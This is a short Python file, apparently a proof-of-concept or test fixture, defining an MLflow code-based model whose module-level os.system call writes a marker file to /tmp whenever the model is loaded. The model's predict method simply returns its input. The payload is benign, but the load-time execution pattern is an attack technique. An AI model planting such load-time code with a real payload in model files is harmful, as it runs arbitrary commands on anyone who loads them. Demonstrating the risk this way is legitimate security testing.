evil_mfc_model/evil_script.py

import os
import mlflow
from mlflow.pyfunc import PythonModel

# module-level: executes whenever mlflow imports this script (i.e. on load_model)
os.system("touch /tmp/celvex_marks/MFC_EVIL_MARK")


class Model(PythonModel):
    def predict(self, context, model_input, params=None):
        return model_input


mlflow.models.set_model(Model())